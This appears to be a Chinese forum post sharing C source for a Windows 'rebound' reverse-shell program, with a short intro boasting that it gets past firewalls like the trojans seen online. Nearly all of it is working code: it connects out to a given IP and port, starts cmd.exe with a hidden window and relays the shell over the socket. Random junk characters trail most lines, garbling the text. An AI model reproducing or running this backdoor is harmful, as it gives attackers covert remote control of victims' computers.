这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Z1M>-[j)
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/* ============================== Cezh l
Rebound port in Windows NT $(ewk):
By wind,2006/7 x[QZ@rGIW
===============================*/ baee?6
#include ;imRh'-V6
#include petW
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#pragma comment(lib,"wsock32.lib") .e@>
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void OutputShell(); 3o*FPO7?
SOCKET sClient; H6gU?9%
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,_D"?o
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void main(int argc,char **argv) JWROYED
{ ?vgH"W~3>
WSADATA stWsaData; @wp4 |G
int nRet; !Vheq3"q/
SOCKADDR_IN stSaiClient,stSaiServer; f6!D L<
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if(argc != 3) +R6a}d/K
{ 1DE@N1l
printf("Useage:\n\rRebound DestIP DestPort\n"); N
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return; QV qK
} 8i}<
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WSAStartup(MAKEWORD(2,2),&stWsaData); nmFC%p)4
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (\a6H2z8l
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stSaiClient.sin_family = AF_INET; w$|l{VI
stSaiClient.sin_port = htons(0); FP^{=0
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); B*1W`f
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) gRJfX%*F
{ X|DO~{-au
printf("Bind Socket Failed!\n"); %7hB&[ 5
return; E7zm{BX]
} xJs;v
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stSaiServer.sin_family = AF_INET; FG@-bV
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wnLi2k/Dt<
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); J;$N{"M
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Zm
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{ p4K.NdUH
printf("Connect Error!"); EGq;7l6u&?
return; ul f2vD
} ,m=4@ofX
OutputShell(); 76cG90!Z
} 6
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void OutputShell() 4*.K'(S5fx
{ L I >(RMv
char szBuff[1024];
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SECURITY_ATTRIBUTES stSecurityAttributes; in`aGFQO
OSVERSIONINFO stOsversionInfo; L6Wt3U`l
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; J[~5U~F
STARTUPINFO stStartupInfo; sbj(|1,ac
char *szShell; ^YdcAHjK
PROCESS_INFORMATION stProcessInformation; YW@#91.
unsigned long lBytesRead; bI)u/
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); b1XRC`Gy
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;Vik5)D2D
stSecurityAttributes.lpSecurityDescriptor = 0; ml|W~-6l
stSecurityAttributes.bInheritHandle = TRUE; E{^ XlY
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +ISz?~8
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |2\{z{?
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /2EHv.e`
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C98]9
stStartupInfo.wShowWindow = SW_HIDE; 'I;!pUfVp
stStartupInfo.hStdInput = hReadPipe; g,o?q:FL
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Z[\O=1E,
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GetVersionEx(&stOsversionInfo); rqPFU6
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switch(stOsversionInfo.dwPlatformId) a22Mufl
{ dVB~Smsr
case 1: wn_b[tdxq
szShell = "command.com"; K7Rpr.p
break; J_Ltuso
default: 7eWk7&Xul
szShell = "cmd.exe"; '13ZX:
break; dq[Mj5eC
} bAKiq}xG%i
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1]orUF&_
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send(sClient,szMsg,77,0); Y"-^%@|p
while(1) ` PYJ^I0
{ n,B,"\fw
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); cUTE$/#s
if(lBytesRead) ^Y-]*8;]
{
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); v1a6?-
send(sClient,szBuff,lBytesRead,0); h3dsd
} u7?$b!hG^C
else u,}{I}x_
{ )_/5*Ly@
lBytesRead=recv(sClient,szBuff,1024,0); `--TP
if(lBytesRead<=0) break; @as"JAN
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?c0xRO%y
} ,V*%V;
} 3;%5Yu
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return; \GHiLs,!
}